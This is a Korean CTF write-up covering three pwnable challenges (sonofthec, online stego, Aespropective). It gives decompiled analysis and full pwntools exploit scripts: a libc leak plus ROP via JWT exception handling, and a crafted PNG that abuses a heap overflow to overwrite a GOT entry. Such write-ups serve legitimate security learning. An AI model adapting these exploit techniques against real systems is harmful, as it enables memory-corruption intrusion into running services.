개인전으로 2위를 했다. 2022, 2023 kaist postech ctf 모든 포너블 챌린지를 해결했고 리버싱 챌린지 하나를 해결했다.
sonofthec
Analysis
인터넷 검색을 통해 enum을 복구한다.
methods_fn[0] = (__int64)exit_with_code;
methods_fn[1] = (__int64)register;
methods_fn[2] = (__int64)login;
methods_fn[3] = (__int64)token_status;
methods_fn[4] = (__int64)update;
methods_fn[5] = (__int64)logout;
result = upload;
methods_fn[6] = (__int64)upload;
json으로 입력을 받고 그에 따른 핸들러를 호출한다.
read_secret();
args = json_object_object_get(json_obj, "args");
STR = (std::chrono::_V2::system_clock *)json_object_object_get(args, "username");
chk_string((__int64)STR);
object.username = json_object_get_string(STR);
usr_name_len = strlen((const char *)object.username);
if ( usr_name_len > 0x10 )
exit(0);
STR = (std::chrono::_V2::system_clock *)json_object_object_get(args, "email");
chk_string((__int64)STR);
object.email = json_object_get_string(STR);
STR = (std::chrono::_V2::system_clock *)json_object_object_get(args, "Car");
chk_string((__int64)STR);
object.Car = json_object_get_string(STR);
STR = (std::chrono::_V2::system_clock *)json_object_object_get(args, "VIN");
chk_string((__int64)STR);
object.Vin = json_object_get_string(STR);
std::allocator<char>::allocator(vin);
new_string(vin_1, (char *)object.Vin);
std::allocator<char>::~allocator();
std::string::basic_string((__int64)str, (__int64)vin_1);
check_string_length((__int64)str);
std::string::~string(str);
STR = (std::chrono::_V2::system_clock *)json_object_object_get(args, "Company");
chk_string((__int64)STR);
object.Company = json_object_get_string(STR);
v18 = std::chrono::_V2::system_clock::now(STR);
initialize( // memleak. 0x10 sz username.
(const char *)object.username,
(const char *)object.email,
(const char *)object.Car,
(const char *)object.Vin,
(const char *)object.Company);
initialize_object(vin);
std::allocator<char>::allocator(v15);
new_string(dreamhack_string, "Dreamhack");
v3 = setting_iss((__int64)vin, (__int64)dreamhack_string);
std::allocator<char>::allocator(&v15[1]);
new_string(v33, "JWT");
v4 = setting_typ(v3, (__int64)v33);
*(_DWORD *)&v16[8] = 30;
sub_115E4(v19, (int *)&v16[8]);
v20 = sub_11607((__int64)&v18, (__int64)v19);
v5 = setting_exp(v4, (__int64)&v20);
std::allocator<char>::allocator(&v15[2]);
new_string(usrname, (char *)object.username);
set_data(&data, (__int64)usrname);
std::allocator<char>::allocator(&v15[3]); // allocator doesnt do anything. just a dummy function
new_string(username_string, "username");
v6 = sub_117B0(v5, (__int64)username_string, &data);// v31+8 -> string_ptr
std::allocator<char>::allocator(&v15[4]);
new_string(a1, (char *)object.email);
if ( username )
{
v5 = strlen(username);
strncpy((char *)ptr, username, v5);
}
if ( email )
{
l = strlen(email);
v7 = ptr;
v7->email = (__int64)malloc(l + 1);
strcpy((char *)ptr->email, email);
}
if ( car )
{
l_1 = strlen(car);
v9 = ptr;
v9->car = (__int64)malloc(l_1 + 1);
strcpy((char *)ptr->car, car);
}
if ( vin )
{
v10 = strlen(vin);
v11 = ptr;
v11->vin = (__int64)malloc(v10 + 1);
strcpy((char *)ptr->vin, vin);
}
if ( company )
다음과 같이 여러 필드를 받으며, 이에 따라 JWT 토큰을 발급한다. initialize 함수에서 0x10 size로 검증한다. null terminated가 제대로 이루어지지 않을 수 있다. ptr에 저장된 객체가 참조되며 프린트된다면, memory leak이 발생할 수 있다. Hex-rays 상에선 보이지 않지만, graph view에선 실제로는 c++의 code level exception의 핸들러들도 구현이 되어있다. 만약 exception이 raise되면, exception에 따라 stack unwinding 등의 작업을 수행한다.
v3 = json_object_object_get(obj, "args");
v4 = json_object_object_get(v3, "token");
chk_string(v4);
if ( !v4 )
exit(-1);
token = (char *)json_object_get_string(v4);
if ( !token )
exit(-1);
std::allocator<char>::allocator((char *)&v2 + 3);
new_string(tok, token);
std::allocator<char>::~allocator();
std::string::operator=(¤t_token, tok);
sub_F323((__int64)v7, (__int64)tok);
sub_F40E((__int64)v8, (__int64)v7);
verify((__int64)v8); // exception can be thrown here
sub_F27A((__int64)v8);
std::operator<<<std::char_traits<char>>(&std::cout, "Login success\n");
sub_F27A((__int64)v7);
std::string::~string(tok);
return 0LL;
jwt token을 입력으로 받아서 로그인을 수행한다.
std::allocator<char>::allocator(&v6);
new_string(v12, "Dreamhack");
v2 = sub_11DCE(v1, (__int64)v12);
std::allocator<char>::allocator(&v7);
new_string(v13, "Dreamhack");
set_data(&v9, (__int64)v13);
std::allocator<char>::allocator(v8);
new_string(v14, "Company");
v3 = sub_11F76(v2, (__int64)v14, (__int64)&v9);
verify_0(v3, rdi0);
std::string::~string(v14);
std::allocator<char>::~allocator(v8);
sub_F350(&v9);
std::string::~string(v13);
std::allocator<char>::~allocator(&v7);
std::string::~string(v12);
std::allocator<char>::~allocator(&v6);
sub_F370((__int64)v15);
std::string::~string(a1);
std::allocator<char>::~allocator(&v5);
sub_F10A((__int64)v10);
priv_flag = 1; // if Exception Thrown, priv_flag = 0
return v16 - __readfsqword(0x28u);
}
verify 함수에서 priv_flag가 1이 되면 로그인에 성공하게 된다. 이때 JWT 토큰의 Company가 Dreamhack인지를 검증하게 되며, 아니라면 exception이 raise된다.
v5 = __readfsqword(0x28u);
sub_9E62((std::_V2 *)&v3);
sub_15EDC(a1, a2, (std::_V2 *)&v3);
sub_E470(v3, v4);
return v5 - __readfsqword(0x28u);
}
result = sub_9FB6(&v18);
if ( (_BYTE)result )
{
v3 = sub_CF54();
v4 = sub_9F24(&v18);
if ( (unsigned __int8)sub_9E44(v4, v3) )
{
exception = __cxa_allocate_exception(0x20uLL);
sub_E2FE(exception, (unsigned int)v18, v19);
__cxa_throw(exception, (struct type_info *)&typeinfo for'jwt::error::rsa_exception, sub_26EFC);
}
v6 = sub_D346();
v7 = sub_9F24(&v18);
if ( (unsigned __int8)sub_9E44(v7, v6) )
{
v8 = __cxa_allocate_exception(0x20uLL);
sub_E348(v8, (unsigned int)v18, v19);
__cxa_throw(v8, (struct type_info *)&`typeinfo for'jwt::error::ecdsa_exception, sub_26E9E);
}
v9 = sub_D78D();
v10 = sub_9F24(&v18);
if ( (unsigned __int8)sub_9E44(v10, v9) )
{
v11 = __cxa_allocate_exception(0x20uLL);
sub_E392(v11, (unsigned int)v18, v19);
__cxa_throw(v11, (struct type_info *)&typeinfo for'jwt::error::signature_verification_exception, sub_26FB8);
}
v12 = sub_DE33();
v13 = sub_9F24(&v18);
if ( (unsigned __int8)sub_9E44(v13, v12) )
{
v14 = __cxa_allocate_exception(0x20uLL);
sub_E3DC(v14, (unsigned int)v18, v19);
__cxa_throw(v14, (struct type_info *)&typeinfo for'jwt::error::signature_generation_exception, sub_26F5A);
}
v15 = sub_E231();
v16 = sub_9F24(&v18);
result = sub_9E44(v16, v15);
if ( (_BYTE)result )
{
v17 = __cxa_allocate_exception(0x20uLL);
sub_E426(v17, (unsigned int)v18, v19);
__cxa_throw(v17, (struct type_info *)&typeinfo for'jwt::error::token_verification_exception, sub_26E40);
}
}
return result;
}
이때도 hex-rays 상에 보이지 않는 핸들러가 존재한다. 이때 priv_flag에 0이 대입된다. token status에서 jwt 토큰을 받고, 그 토큰에 대한 정보를 출력한다.
Exploitation
new_string(v15, "Company");
v2 = sub_11F76(v1, (__int64)v15, &v10);
verify_0(v2, (__int64)v17);
std::string::~string(v15);
std::allocator<char>::~allocator();
sub_F350(&v10);
std::string::~string(v14);
std::allocator<char>::~allocator();
std::string::~string(v13);
std::allocator<char>::~allocator();
sub_F370((__int64)v16);
std::string::~string(a1);
std::allocator<char>::~allocator();
sub_F10A((__int64)v11);
sub_120B8(v11, v17);
v8 = v11;
*(_QWORD *)&v7[3] = sub_12184((__int64)v11);
*(_QWORD *)&v10.type = sub_121A2(v8);
while ( !sub_121C0(&v7[3], &v10) )
{
v9 = (char *)sub_12208(&v7[3]);
v3 = std::operator<<<char>(&std::cout, v9);
v4 = std::operator<<<std::char_traits<char>>(v3, " = ");
v5 = sub_1222D(v4, (data *)v9 + 2);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
sub_121E6((__int64)&v7[3]);
}
sub_F608((__int64)v11);
sub_F27A((__int64)v17);
이때 문제는 memory leak은 파싱된 jwt의 body를 기준으로 출력하며, 내부적으로 key, value 형태의 오브젝트로 구현된다. register시에 initialize되어 null terminated string이 아니라, 파싱된 스트링을 jwt 토큰 제작에 이용하므로 memory leak이 절대 불가능하다. 하지만 Exception이 발생했을때 복구 로직에 구현 오류가 존재한다. exception 복구 로직은 진한 초록색으로 하이라이팅되어있는 부분이다. 이때 ptr이 참조되면서 복구 로직이 수행된다. 구현이 가용성에 초점이 맞춰져있어서 exception이 thrown되어도 정상처리를 가능케 해준다. 이를 악용하기 위해서는 JWT 토큰을 검증 시각에 invalidate하게 만들 필요가 있다.
clock = std::chrono::_V2::system_clock::now(STR);
...
new_string(v33, "JWT");
v4 = setting_typ(v3, (__int64)v33);
*(_DWORD *)&v16[8] = 30;
sub_115E4(v19, (int *)&v16[8]);
v20 = sub_11607((__int64)&clock, (__int64)v19);
v5 = setting_exp(v4, (__int64)&v20);
v4 = *a1;
v2 = ret_a1_1(&v4);
copy_obj(v5, a2);
v6 = v2 + ret_a1_1(v5);
set_result(v7, &v6);
return v7[0];
마침 expire time이 30초이므로 그 시간을 sleep하고 token을 검증하면 invalidate 시킬 수 있고, 복구 로직에 의해서 memory가 leak된다.
v5 = json_object_object_get(a1, "args");
v6 = json_object_object_get(v5, "idx");
if ( !v6 )
exit(-1);
data = json_object_object_get(v5, "data");
v3 = ((__int64 (__fastcall *)(__int64))json_object_array_length)(v6);
data_len = ((__int64 (__fastcall *)(__int64))json_object_array_length)(data);
if ( v3 > 0x10 )
exit(-1);
for ( i = 0; data_len > i; ++i )
{
idx = json_object_array_get_idx(data, (int)i);
if ( (unsigned int)((__int64 (__fastcall *)())json_object_get_type)() == json_type_int )
v9[i] = json_object_get_int64(idx);
}
bof가 있으니 rip control도 가능하다. canary는 int가 아닐때 write가 안되니 우회할 수 있다.
Exploit script
from pwn import *
import json
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
rvu = lambda x : p.recvuntil(x)
sl = lambda x : p.sendline(x)
rvl = lambda : p.recvline()
def dump(object):
ret = b'{'
l = len(object.keys())
i = 0
for it in object.keys():
if isinstance(object[it],dict):
ret += b'"'
if isinstance(it, bytes):
ret += it
elif isinstance(it, str):
ret += it.encode()
else:
raise Exception('unsupported type')
ret += b'" : '
ret += dump(object[it])
elif isinstance(object[it],bytes) or isinstance(object[it],str):
ret += b'"'
if not isinstance(it, bytes):
ret += it.encode()
elif isinstance(it, str):
ret += it
else:
raise Exception('unsupported type')
ret += b'" : "'
if isinstance(object[it],bytes):
ret += object[it]
else:
ret += object[it].encode()
ret += b'"'
elif isinstance(object[it],int):
ret += b'"'
if not isinstance(it, bytes):
ret += it.encode()
elif isinstance(it, str):
ret += it
else:
raise Exception('unsupported type')
ret += b'" : "' + str(object[it]).encode() + b'"'
elif isinstance(object[it],list):
ret += b'"'
if not isinstance(it, bytes):
ret += it.encode()
elif isinstance(it, str):
ret += it
else:
raise Exception('unsupported type')
val = b'['
for k in object[it]:
if isinstance(k, int):
val += str(k).encode() + b','
elif isinstance(k, str):
val += b'"' + k.encode() + b'",'
else:
raise Exception('unsupported type')
val = val[:-1]
val += b']'
ret += b'" : ' + val
else:
raise Exception('unsupported type')
i += 1
if i != l:
ret += b','
ret += b'}'
return ret
def register(username, email, car, vin, company):
a = {
'header':{
'method':'register'
},
'args':{
'username':username,
'email':email,
'Car':car,
'VIN':vin,
'Company':company,
},
}
# max vin 0x11,username 0x10
payload = dump(a)
return payload
def login(token):
a = {
'header':{
'method':'login'
},
'args' : {
'token' : token
}
}
payload = dump(a)
return payload
def token_status():
a = {
'header':{
'method':'token_status'
},
}
payload = dump(a)
return payload
def play():
a = {
'header':{
'method':'play'
},
}
payload = dump(a)
return payload
def logout(token):
a = {
'header':{
'method':'logout'
},
'args':{
'token' : token
}
}
payload = dump(a)
return payload
def update():
a = {
'header':{
'method':'logout'
},
'args':{
'token' : token
}
}
payload = dump(a)
return payload
def upload(data : list):
a = {
'header':{
'method':'upload'
},
'args':{
'idx':[1,2,3],
'data': data
}
}
payload = dump(a)
return payload
if __name__ == '__main__':
# p = process('./sonofthec',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('host3.dreamhack.games',8303)
payload = register(b'A'*0x10,b'asdf',b'morning',b'A'*0x11,b'Dreamhack')
# if company is not Dreamhack exception raised.
print(payload)
# pause()
sl(payload)
rv = json.loads(rvl()[:-1])
tok = rv['token']
payload = register(b'A'*0x10,b'asdf',b'morning',b'A'*0x11,b'Dreamhack')
sl(payload)
rv = json.loads(rvl()[:-1])
tok = rv['token']
payload = register(b'A'*0x8,b'asdf',b'morning',b'A'*0x11,b'Dreamhack')
sl(payload)
rv = json.loads(rvl()[:-1])
tok = rv['token']
payload = login(tok)
print(payload)
sl(payload)
\#leak
success("sleeping 30s")
sleep(30)
success('now token is expired memleak.')
payload = token_status()
context.log_level='debug'
sl(payload)
rvu(b'A'*8)
libc_base = u64(rvl()[:-1].ljust(8,b'\x00')) - 0x219df0
success(hex(libc_base))
# exp time = 30sec, so exception will be raised after 30s
# if exception is thrown while proccessing JWT token validation, it traps and use ptr, a global variable to print things out so that they can print out some memory.
# because this program frequently allocates mem and free, there's freed chunk in unsorted bin, once i reclaim it, i can get libc_base.
payload = [1]*0x11 + ["1"] + [1]+ [libc_base + 0x000000000002a3e5, libc_base + 0x1d8698, libc_base + 0x0000000000029cd6,libc_base + 0x000000000050d60]
payload = upload(payload)
print(payload)
pause()
sl(payload)
p.interactive()
# 0000C139 .plt.sec:___cxa_throw+4 bnd jmp cs:__cxa_throw_ptr RAX=000055EBCC696A48 RDX=000055EBCC683FB8 RSI=000055EBCC696A48 RDI=000055EBCDE23EE0
# KAPO{js0n_C_w1th_jwt_t0ken_hs_256}
online stego
Analysis
@app.route('/encode', methods=['POST'])
def post_encode():
if 'png' not in request.files:
abort(400)
if 'msg' not in request.form:
abort(400)
png = request.files['png']
msg = request.form['msg']
if not validate_extension(png.filename):
abort(400)
filename = os.urandom(32).hex() + '.png'
png.save(os.path.join(app.config['UPLOAD_DIR'], filename))
result = subprocess.check_output([STEGO_PATH,
'-e',
'-f',
app.config['UPLOAD_DIR'] + '/' + filename,
'-m',
msg])
return render_template('encode_result.html', href=f'{result.decode()}')
@app.route('/uploads/<path:filename>', methods=['GET'])
def get_uploads(filename):
return send_from_directory(UPLOAD_DIR, filename)
@app.route('/decode', methods=['GET'])
def get_decode():
return render_template('decode.html')
@app.route('/decode', methods=['POST'])
def post_decode():
if 'png' not in request.files:
abort(400)
png = request.files['png']
if not validate_extension(png.filename):
abort(400)
filename = os.urandom(32).hex() + '.png'
png.save(os.path.join(app.config['UPLOAD_DIR'], filename))
result = subprocess.check_output([STEGO_PATH,
'-d',
'-f',
app.config['UPLOAD_DIR'] + '/' + filename])
return render_template('decode_result.html', msg=f'{result.decode()}')
그냥 바이너리를 실행해서 출력한다.
#!/bin/bash
sysctl kernel.randomize_va_space=0
su chall -c "export LC_ALL=C.UTF-8; export LANG=C.UTF-8; /bin/sh -c 'while true; do flask run -h 0.0.0.0 ; done'"
aslr이 꺼져있다.
if ( de_flag != 2 )
{
if ( de_flag == 1 )
decode(filename);
fwrite("Error: Please specify either -d(decoding mode) or -e(encoding mode) option.\n", 1uLL, 0x4CuLL, stderr);
exit(1);
}
encode(filename, message_content);
return 0LL;
png의 청크를 파싱하고, 메세지를 숨기거나 해독할 수 있다.
stream = fopen(filename, "r");
...
v8 = fread(sig, 1uLL, 8uLL, stream);
...
ihdr = parse_chunk(stream);
if ( memcmp(&ihdr->type, "IHDR", 4uLL) )
{
fwrite("Error: chunk type mismatched\n", 1uLL, 0x1DuLL, stderr);
exit(1);
}
master_node = set_node((__int64)ihdr);
do
{
ihdr = parse_chunk(stream);
v5 = set_node((__int64)ihdr);
set_link(master_node, v5); // circular doubly linked
}
while ( memcmp(&ihdr->type, "IEND", 4uLL) ); // scan while IEND
v4 = ftell(stream);
fseek(stream, 0LL, 2);
v1 = ftell(stream);
if ( v4 != v1 )
{
fwrite("Error: wrong footer\n", 1uLL, 0x14uLL, stderr);
exit(1);
다음과 같이 청크를 파싱한다. parsechunk 함수는 다음과 같다.
v8 = (chunk *)malloc(0x20uLL);
read = fread(&sz, 1uLL, 4uLL, a1);
...
sz = conv_big2little(sz);
read = fread(&tpye, 1uLL, 4uLL, a1);
...
mem = malloc((unsigned __int16)sz);
if ( !mem )
{
fwrite("Error: malloc()\n", 1uLL, 0x10uLL, stderr);
exit(1);
}
read = fread(mem, 1uLL, sz, a1);
...
read = fread(&crc, 1uLL, 4uLL, a1);
if ( read <= 3 )
{
fwrite("Error: fread()\n", 1uLL, 0xFuLL, stderr);
exit(1);
}
crc = conv_big2little(crc);
v5 = crc32(0xFFFFFFFF, (__int64)&tpye, 4u);
v5 = ~(unsigned int)crc32(v5, (__int64)mem, sz);
if ( v5 != crc )
{
fwrite("Error: crc mismatched\n", 1uLL, 0x16uLL, stderr);
exit(1);
}
v8->length = sz;
v8->type = tpye;
v8->payload = (__int64)mem;
v8->crc = crc;
return v8;
heap overflow가 발생한다.
node *__fastcall set_link(node *master_node, node *new_node)
{
node *result; // rax
node *fd; // [rsp+18h] [rbp-8h]
fd = master_node->fd;
fd->bk = new_node;
master_node->fd = new_node;
new_node->bk = master_node;
result = new_node;
new_node->fd = fd;
return result;
}
이런식으로 circular doubly linked list로 연결되어있다.
for ( master_node = (node *)parse(a1); ; pop(master_node) )
{
node = get_current_node(master_node);
l_ptr = (uint *)&node->length;
if ( !memcmp(&node->type, "iTXt", 4uLL) && !memcmp(&node->payload->hdr, secret_hdr, 4uLL) )
break;
}
if ( *l_ptr <= 8 )
{
fwrite("Error: unable to decode\n", 1uLL, 0x18uLL, stderr);
exit(1);
}
secret_msg_length = *l_ptr - 8;
p_secret_msg = &node->payload->secret_msg;
malloc(2 * (__int16)*l_ptr); // sign extension
if ( v2 ) // uninitiaized stack var
iTXt에 메세지를 암호화하고, decode는 iTXt에서 메세지를 해독한다.
prev = master_node->fd;
cur = master_node->fd->fd; // real current node
next = cur->fd;
next->bk = master_node->fd;
prev->fd = next;
free(cur->payload);
free(cur);
노드를 unlink하는데, 약간 이상하다. masternode→fd→fd로 돌게된다.
for ( master_node = (node *)parse(a1); ; pop(master_node) )
{
node = get_current_node(master_node);
l_ptr = (uint *)&node->length;
if ( !memcmp(&node->type, "iTXt", 4uLL) && !memcmp(&node->payload->hdr, secret_hdr, 4uLL) )
break;
}
Exploitation
루프를 돌면서 로직 버그가 발생하며, free되면서 chunk_payload + 0x0에는 next freed 청크가 들어가기 때문에, 유저가 다음 노드를 조작할 수 있게 된다. 노드가 적다면, DFB를 트리거할 수 있지만, glibc 2.27의 검증 때문에 불가하다. 노드를 너무 늘리면 결국 singly linked list 형태로 bin에 쌓여서 NULL로 끝나게 되고, 순회하기 충분치 않아 null pointer dereference가 발생하여 DOS로 끝난다. 처음부터 top chunk를 덮으면 원하는 메모리 할당이 가능해진다.
malloc(2 * (__int16)*l_ptr); // sign extension
if ( v2 ) // uninitiaized stack var
s = (sec_msg_hdr *)v2;
else
s = node->payload;
r = (char *)malloc(4uLL);
if ( !r )
{
fwrite("Error: malloc()\n", 1uLL, 0x10uLL, stderr);
exit(1);
}
*(_DWORD *)r = *(_DWORD *)node->payload;
recover(s->msg, r, (char *)p_secret_msg, secret_msg_length);
이후 해독을 진행한다.
Exploit script
from pwn import *
def calc_crc(chunk:bytes) -> int:
sz = u32(chunk[:4],endian='big')
def crc(init : int , asdf : bytes, l : int):
v3 = 0
for i in range(l):
init ^= asdf[i]
for j in range(8):
if (init & 1):
v3 = 0xEDB88320
else:
v3 = 0
init = (init>>1) ^ v3
return init
v5 = crc(0xffffffff, chunk[4:8], 4)
v5 = ~(crc(v5, chunk[8:],sz))
return v5
def gen_chunk(data_length, type : bytes, data : bytes):
payload = b''
payload += p32(data_length,endian='big')
payload += type
payload += data
crc = calc_crc(payload) & 0xffffffff
payload += p32(crc,endian='big')
return payload
# (a1 >> 8) & 0xFF00 | (a1 << 8) & 0xFF0000 | (a1 << 24) | HIBYTE(a1);
# a1[2]>>8 | a[1]<<8 | a1[0] << 24 | a[3] >> 24
# because chunks are linked as a circular doubly linked list, with enough freed chunks u can trigger DFB
# glibc 2.27 has tcache->key validation. no dfb
# masternode -> node3 -> node2 -> node1
# masternode -> fd -> fd == current node
# masternode -> fd == prev node
# masternode -> fd -> fd -> fd == next node
# unlink , pop
# matsernode -> fd -> fd -> fd -> bk = masternode -> fd
# masternode -> fd -> fd = masternode -> fd -> fd -> fd
# free payload
# free node
# trigger1
# payload = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])
# payload += gen_chunk(0x20, b'IHDR', b'A'*0x20)
# chunk = b''
# chunk += bytes([0xCA, 0xFE, 0xCA, 0xFE])*3
# chunk += p32(0)
# chunk += p32(0x378)
# chunk += b'iTXt'
# chunk += b'A'*(0x28 - len(chunk))
# chunk += p64(0x7fffffffd7fc-4)
# payload += gen_chunk(0x30, b'NOD2', chunk)
# payload += gen_chunk(0x30, b'NOD1', bytes([0xCA, 0xFE, 0xCA, 0xFE])*2*2*3)
# payload += gen_chunk(0x30, b'IEND', p32(0)*7+bytes([0xca, 0xfe, 0xca, 0xfe])+b'B'*0x10)
# trigger2 heapoverflow
payload = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])
pay = b''
pay += b'A'*(0xf8-len(pay))
pay += p64(0xffffffffffffffff)
pay += b'B'*(0x100f8-len(pay))
payload += gen_chunk(0x100f8,b'IHDR',pay)
chunk = b''
chunk += bytes([0xCA, 0xFE, 0xCA, 0xFE])*3
chunk += p32(0)
chunk += p32(0xffffec58+0x10-0x20) # size
chunk += b'iTXt'
chunk += p32(0x400CC7)
chunk += bytes([0xCA, 0xFE, 0xCA, 0xFE]) # hdr for payload ptr
chunk += b'C'*(0x28 - len(chunk))
chunk += p64(0x6045bc) # payload ptr
payload += gen_chunk(0x30, b'NOD2', chunk)
payload += gen_chunk(0x30, b'NOD1', b'A'*0x30)
payload += gen_chunk(0x30, b'IEND', p32(0)*7+bytes([0xca, 0xfe, 0xca, 0xfe])+b'B'*0x10)
# payload -> asdf ptr
with open('./exploit.png','wb') as f:
f.write(payload)
# 0x400CC7 -> read flag
# 0x13e4
victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (atomic_load_relaxed (&av->have_fastchunks))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}
glibc 2.27 소스를 확인해보면 chunk_at_offset에서 victim + nb를 하게 된다. heap overflow로 size를 덮어서 검증을 우회하고, 0xffff까지의 입력을 넣을 수 있으니 sign extension이 발생하며 이를 이용해서 top chunk로 부터의 상대 주소로 접근할 수 있게된다. 0xffff의 입력은 page 단위로 올라가기 충분하며, got에 접근할 수 있다. 그걸 이용해 exit got를 덮는다.
Aespropective
Analysis
print_menu();
std::istream::operator>>((int64_t)&std::cin, (int64_t)sel);
switch ( sel[0] )
{
case 1:
create_AES_obj();
break;
case 2:
remove_AES_obj();
break;
case 3:
set_plain_cipher_txt();
break;
case 4:
enc();
break;
case 5:
dec(&std::cin, sel); // useless, not implemented yet
break;
default:
continue;
}
}
} // UAF leads to memory leak
std::operator<<<std::char_traits<char>>((int64_t)&std::cout, (int64_t)"Enter key size: ");
std::istream::operator>>((int64_t)&std::cin, (int64_t)&keysz);
switch ( keysz )
{
case 128u:
v1 = (AES_obj *)operator new(0x28uLL);
init_AES_128(v1);
aes_obj_ptr = v1;
break;
case 192u:
v2 = (__int64 *)operator new(0x28uLL);
init_AES_192(v2);
aes_obj_ptr = (AES_obj *)v2;
break;
case 256u:
v3 = (__int64 *)operator new(0x28uLL);
init_AES_256(v3);
aes_obj_ptr = (AES_obj *)v3;
break;
default:
v4 = std::operator<<<std::char_traits<char>>((int64_t)&std::cout, (int64_t)"No way");
((void (__fastcall *)(__int64, void *))std::ostream::operator<<)(v4, &std::endl<char,std::char_traits<char>>);
exit(0);
}
keysz >>= 3;
key_content = (void *)operator new[](keysz);
set_cipher_key(key_content, keysz);
key_schedule(aes_obj_ptr, (char *)key_content);// AES256 OoB. Key corrupted.
v5 = std::operator<<<std::char_traits<char>>(
(int64_t)&std::cout,
(int64_t)"This is sha256 for the encryption key: ");
((void (__fastcall *)(__int64, void *))std::ostream::operator<<)(v5, &std::endl<char,std::char_traits<char>>);
sha256((__int64)hashed_output, aes_obj_ptr);
v6 = std::operator<<<char>(&std::cout, hashed_output);
키 사이즈에 따른 aes 객체들이 구현되어있다. 리버싱한 결과, AES ECB임이 확인되었다. 그리고 따로 처음에 키 스케쥴링 로직도 확인되었다.
v6 = __readfsqword(0x28u);
obj->cipher_and_round_keys = (char *)operator new[](0xB0uLL);
*(_DWORD *)key_back = 0;
*(_DWORD *)rcon = 0;
for ( i = 0; i <= 15; ++i )
obj->cipher_and_round_keys[i] = obj->key_content[i];
for ( j = 16; j <= 0xAF; j += 4 )
{
key_back[0] = obj->cipher_and_round_keys[j - 4];
key_back[1] = obj->cipher_and_round_keys[j - 3];
key_back[2] = obj->cipher_and_round_keys[j - 2];
key_back[3] = obj->cipher_and_round_keys[j - 1];
if ( ((j / 4) & 3) == 0 ) // multiples of 4, means following logics applied at roundkey's first col
{
Rot_word(obj, key_back); // shift upwards
Sub_bytes(obj, (int8_t *)key_back);
set_rcon(obj, rcon, j / 16);
add_rcon(obj, (char *)key_back, rcon, (char *)key_back);
}
obj->cipher_and_round_keys[j] = key_back[0] ^ obj->cipher_and_round_keys[j - 16];
obj->cipher_and_round_keys[j + 1] = key_back[1] ^ obj->cipher_and_round_keys[j - 15];
obj->cipher_and_round_keys[j + 2] = key_back[2] ^ obj->cipher_and_round_keys[j - 14];
obj->cipher_and_round_keys[j + 3] = key_back[3] ^ obj->cipher_and_round_keys[j - 13];
}
return __readfsqword(0x28u) ^ v6;
} // do keyscheduling
이런식으로 처음에 round key들을 미리 계산한다.
Exploitation
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
a1->cipher_and_round_keys = (char *)operator new[](0xD0uLL);
v4 = 0;
v5 = 0;
for ( i = 0; i <= 23; ++i )
a1->cipher_and_round_keys[i] = a1->key_content[i];
for ( j = 24; j <= 0xCF; j += 4 )
{
LOWORD(v4) = *(_WORD *)&a1->cipher_and_round_keys[j - 4];
BYTE2(v4) = a1->cipher_and_round_keys[j - 2];
HIBYTE(v4) = a1->cipher_and_round_keys[j - 1];
if ( !(j / 4 % 6) )
{
Rot_word(a1, (unsigned __int8 *)&v4);
Sub_bytes(a1, (int8_t *)&v4);
set_rcon(a1, (char *)&v5, j / 24);
add_rcon(a1, (char *)&v4, (char *)&v5, (char *)&v4);
}
a1->cipher_and_round_keys[j] = v4 ^ a1->cipher_and_round_keys[j - 24];
a1->cipher_and_round_keys[j + 1] = BYTE1(v4) ^ a1->cipher_and_round_keys[j - 23];
a1->cipher_and_round_keys[j + 2] = BYTE2(v4) ^ a1->cipher_and_round_keys[j - 22];
a1->cipher_and_round_keys[j + 3] = HIBYTE(v4) ^ a1->cipher_and_round_keys[j - 21];
}
return __readfsqword(0x28u) ^ v6;
}
AES192의 키 스케쥴링 로직에서 OoB Read가 발생하며, secret키의 일부에 반영된다. 또한 remove 과정에 있어서 로직 버그가 발생하여 정상적이지 않은 노드가 free될 수 있었다.
v9 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>((int64_t)&std::cout, (int64_t)"Which index do you want to delete ?");
std::istream::operator>>((int64_t)&std::cin, (int64_t)&idx);
v0 = idx;
if ( v0 >= get_length(vector_AES_obj) )
{
v1 = std::operator<<<std::char_traits<char>>((int64_t)&std::cout, (int64_t)"No way");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(0);
}
idx_1 = idx;
iterator = get_vector_iterator(vector_AES_obj);
v7 = get_ele_by_idx(&iterator, idx_1);
copy_element_ptr(&element_ptr, (__int64)&v7);
remove_element((__int64)vector_AES_obj, element_ptr);
v3 = *(void **)get_vect_at_idx(vector_AES_obj, idx);// OoB delete
if ( v3 )
operator delete(v3, 0x28uLL);
return __readfsqword(0x28u) ^ v9;
}
__int64 __fastcall sub_3524(__int64 vecotr, __int64 ele_vect_ptr)
{
__int64 ned; // rbx
__int64 ele_by_idx; // rax
__int64 ele_vec; // [rsp+0h] [rbp-40h] BYREF
__int64 v6; // [rsp+8h] [rbp-38h]
__int64 next_one; // [rsp+18h] [rbp-28h] BYREF
__int64 end[4]; // [rsp+20h] [rbp-20h] BYREF
v6 = vecotr;
ele_vec = ele_vect_ptr;
end[1] = __readfsqword(0x28u);
end[0] = get_end(vecotr); // vector end
next_one = get_ele_by_idx(&ele_vec, 1LL);
if ( is_not_end((__int64)&next_one, (__int64)end) )
{
ned = get_end(v6);
ele_by_idx = get_ele_by_idx(&ele_vec, 1LL);
delete_element(ele_by_idx, ned, ele_vec);
}
*(_QWORD *)(v6 + 8) -= 8LL; // decrement
sub_3872(v6, *(_QWORD *)(v6 + 8));
return ele_vec;
}
